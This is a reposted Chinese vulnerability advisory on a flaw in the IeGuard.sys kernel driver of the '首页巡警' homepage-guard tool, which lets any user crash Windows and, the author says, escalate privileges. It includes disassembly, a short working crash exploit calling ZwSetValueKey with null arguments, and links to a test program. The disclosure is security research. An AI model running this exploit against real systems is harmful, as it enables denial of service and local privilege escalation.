首页巡警v1.1/1.0 内核驱动 拒绝服务 及 本地提权漏洞 's

admin 2017年5月7日14:21:23评论423 views字数 2383阅读7分56秒阅读模式
摘要

作者:MJ0011
来源:MJ0011的内核驱动研究所首页巡警v1.1/1.0的内核驱动程序存在严重漏洞

作者:MJ0011
来源:MJ0011的内核驱动研究所

首页巡警v1.1/1.0的内核驱动程序存在严重漏洞

安装了首页巡警v1.1(v1.0)的机器,任意权限的用户可导致系统蓝屏(BSOD),造成拒绝服务攻击

结合我之前公布的SystemCrashDumpInformation加载驱动方式,可以在安装了HIPS的机器上造成本地提权漏洞,即任意权限的用户可以加载驱动到内核并执行。

出问题的函数是IeGuard.sys!HkZwSetValueKey

该函数的第三个参数是PUNICODE_STRING ValueName

IeGuard没有对参数做任何检查就使用RtlCompareUnicodeString函数对该值进行判断,只要在RING3对此参数置0,IeGuard将立即导致系统蓝屏

相关汇编代码:

.text:00011430 HkZwSetValueKey proc near                ; DATA XREF: HookKeyRoutine+52 o .text:00011430                                          ; sub_11B66+45 o .text:00011430 .text:00011430 StartPageUniName= UNICODE_STRING ptr -14h .text:00011430 var_C            = dword ptr -0Ch .text:00011430 Object           = dword ptr -8 .text:00011430 isPass           = byte ptr -1 .text:00011430 Handle           = dword ptr  8 .text:00011430 ValueName        = dword ptr  0Ch .text:00011430 arg_8            = dword ptr  10h .text:00011430 arg_C            = dword ptr  14h .text:00011430 arg_10           = dword ptr  18h .text:00011430 arg_14           = dword ptr  1Ch .text:00011430 .text:00011430                  mov      edi, edi .text:00011432                  push     ebp .text:00011433                  mov      ebp, esp .text:00011435                  sub      esp, 14h .text:00011438                  push     ebx .text:00011439                  xor      ebx, ebx .text:0001143B                  mov      [ebp+isPass], bl .text:0001143E                  call     ds:ExGetPreviousMode .text:00011444                  cmp      al, 1 .text:00011446                  jnz      loc_114FA .text:00011446 .text:0001144C                  push     offset str_StartPage ; SourceString .text:00011451                  lea      eax, [ebp+StartPageUniName] .text:00011454                  push     eax              ; DestinationString .text:00011455                  call     ds:RtlInitUnicodeString .text:0001145B                  push     1                ; CaseInSensitive .text:0001145D                  push     [ebp+ValueName] ; String2 .text:00011460                  lea      eax, [ebp+StartPageUniName] .text:00011463                  push     eax              ; String1 .text:00011464                  call     ds:RtlCompareUnicodeString 

<—此处未做任何判断就将ValueName传递给RtlCompareUnicodeString

导致蓝屏

.text:0001146A                  test     eax, eax .text:0001146C                  jnz      loc_114FA 

利用代码(该代码运行后即可导致安装了首页巡警的机器立即蓝屏,可在任意用户权限下执行)

HMODULE hlib = LoadLibrary("ntdll.dll"); PVOID p = GetProcAddress(hlib , "ZwSetValueKey"); __asm { push 0 push 0 push 0 push 0 push 0 push 0 call p  } 

测试程序下载:
http://www.debugman.com/read.php?tid=1330
或:
http://mj0011.ys168.com/ 漏洞演示/IeGuardLeakTest.rar

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月7日14:21:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   首页巡警v1.1/1.0 内核驱动 拒绝服务 及 本地提权漏洞 'shttps://cn-sec.com/archives/47821.html

发表评论

匿名网友 填写信息